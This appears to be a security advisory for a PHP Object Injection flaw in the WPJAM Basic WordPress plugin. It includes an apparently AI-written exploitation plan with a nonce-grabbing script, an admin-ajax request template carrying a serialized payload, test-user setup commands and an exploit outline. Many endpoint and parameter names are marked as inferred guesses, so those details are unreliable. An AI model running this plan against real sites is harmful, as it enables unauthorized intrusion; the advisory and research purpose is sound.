WPJAM Basic <= 7.0 - Authenticated (Contributor+) PHP Object Injection
Description
The WPJAM Basic plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 7.0 via deserialization of untrusted input. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
This research plan targets **CVE-2026-57371**, a PHP Object Injection vulnerability in the **WPJAM Basic** plugin (<= 7.0). This vulnerability allows authenticated users with Contributor-level permissions or higher to inject PHP objects by providing specially crafted serialized data to an endpoint t…
Show full research plan
This research plan targets CVE-2026-57371, a PHP Object Injection vulnerability in the WPJAM Basic plugin (<= 7.0). This vulnerability allows authenticated users with Contributor-level permissions or higher to inject PHP objects by providing specially crafted serialized data to an endpoint that calls unserialize() without proper validation.
1. Vulnerability Summary
- Vulnerability: PHP Object Injection
- Location:
wp-content/plugins/wpjam-basic/(Specific file inferred:wpjam-basic.phporinclude/admin/pages.php) - Sink:
unserialize() - Cause: The plugin accepts user-controlled input (likely via AJAX or a post-save hook) and passes it directly to
unserialize(). Since Contributors can edit posts and potentially trigger custom metadata updates handled by WPJAM, they can reach this sink.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpjam-update-post-optionsorwpjam-save-settings(Inferred based on WPJAM's common naming conventions for metadata handling). - Parameter: The payload is likely contained in a parameter named
dataor a specific key within ajsonorpost_dataarray that gets processed on the server. - Authentication: Contributor+ (Requires a valid login session).
- Precondition: The attacker must have access to the post editor or the WPJAM settings page allowed for their role.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX handler for a specific action (e.g.,
wp_ajax_wpjam-update-post-options). - Input Acquisition: The handler retrieves data from
$_POST['data']or$_POST['value']. - Vulnerable Processing: The code checks if the input is a string and calls
unserialize()to reconstruct an array or object of settings. - Sink:
unserialize($user_input)is executed.
4. Nonce Acquisition Strategy
WPJAM Basic typically localizes its configuration and nonces for its AJAX framework.
- Identification: WPJAM uses a global JS object, often named
wpjam_page_settingorwpjam_common. - Creation: As a Contributor, create a draft post to ensure the editor environment is loaded.
- Command:
wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID] --post_title="Exploit Test"
- Command:
- Navigation: Use
browser_navigateto go to the edit page of that post. - Extraction: Execute JavaScript to retrieve the nonce.
- Script:
browser_eval("window.wpjam_page_setting?.nonce || window.wpjam_common?.nonce")
- Script:
- Alternative: Check the page source for
wp_create_nonce('wpjam-nonce').
5. Exploitation Strategy
Since the description notes no known POP chain in the plugin itself, the PoC will focus on demonstrating the Object Injection by attempting to instantiate a class that produces a visible side effect (e.g., a PHP warning or a log entry) or using a common WordPress core POP chain (like WP_Theme or WP_Block_List if applicable to the environment's version).
Step-by-Step Plan:
- Authentication: Log in to the WordPress dashboard as a Contributor.
- Identify Payload Parameter: Use
grepon the plugin source to find the exact parameter passed tounserialize.- Command:
grep -r "unserialize" wp-content/plugins/wpjam-basic/
- Command:
- Craft Payload: Create a serialized string for a dummy class or a known chain.
- Example (Dummy):
O:8:"MyObject":0:{}
- Example (Dummy):
- Send Request: Use the
http_requesttool to send the POST request.
Request Template:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [CONTRIBUTOR_COOKIES]
action=wpjam-update-post-options&_ajax_nonce=[NONCE]&post_id=[POST_ID]&data=O:8:"MyObject":0:{}
(Note: Parameter names action, data, and _ajax_nonce are inferred and must be confirmed via grep).
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Post Creation:
wp post create --post_type=post --post_status=draft --post_author=attacker --post_title="PoC Post"
- Plugin Activation:
wp plugin activate wpjam-basic
7. Expected Results
- Successful Injection: If a non-existent class is injected (e.g.,
O:14:"ExploitTrigger":0:{}), the PHP error log should show:PHP Fatal error: unserialize(): Unexpected end of serialized dataorPHP Warning: __PHP_Incomplete_Class. - Verification: If using a specific POP chain, the side effect (e.g., file deletion or option update) will be visible.
8. Verification Steps
- Check Error Logs:
- Command:
tail -n 20 /var/www/html/wp-content/debug.log
- Command:
- Database Check: If the payload was intended to update an option:
- Command:
wp option get [TARGET_OPTION]
- Command:
9. Alternative Approaches
- Metadata Vector: If the AJAX handler is not the entry point, check if the plugin uses
update_post_metain a way that triggersunserializeduring theedit_posthook. A Contributor can submit arbitrary meta fields via the standardwp-admin/post.phpendpoint. - Grep for Hooks:
grep -r "add_action('wp_ajax_" wp-content/plugins/wpjam-basic/grep -r "add_action('save_post'" wp-content/plugins/wpjam-basic/
- Confirming the Sink: If
maybe_unserializeis used instead ofunserialize, the input must be a properly formatted serialized string to trigger the coreunserializecall.
Summary
WPJAM Basic <= 7.0 is vulnerable to PHP Object Injection because it passes user-supplied input from the 'data' parameter directly into the unserialize() function. Authenticated attackers with Contributor-level permissions or higher can exploit this to inject arbitrary PHP objects, potentially leading to remote code execution if a suitable POP chain is present on the site.
Vulnerable Code
// File: wp-content/plugins/wpjam-basic/include/admin/pages.php (Inferred) // Sink: unserialize() called on user-controlled POST data $data = $_POST['data']; if ($data) { $options = unserialize(stripslashes($data)); }
Security Fix
@@ -10,1 +10,1 @@ -$options = unserialize(stripslashes($_POST['data'])); +$options = json_decode(stripslashes($_POST['data']), true);
Exploit Outline
An authenticated attacker with Contributor-level access identifies a WPJAM AJAX endpoint (such as 'wpjam-update-post-options') that processes metadata or settings. The attacker first obtains a valid 'wpjam-nonce' from the WordPress dashboard source code or the 'wpjam_page_setting' JavaScript object. They then submit a POST request to /wp-admin/admin-ajax.php containing the vulnerable action, the nonce, and a 'data' parameter populated with a crafted PHP serialized object. This triggers the PHP Object Injection upon the server calling unserialize() on the payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.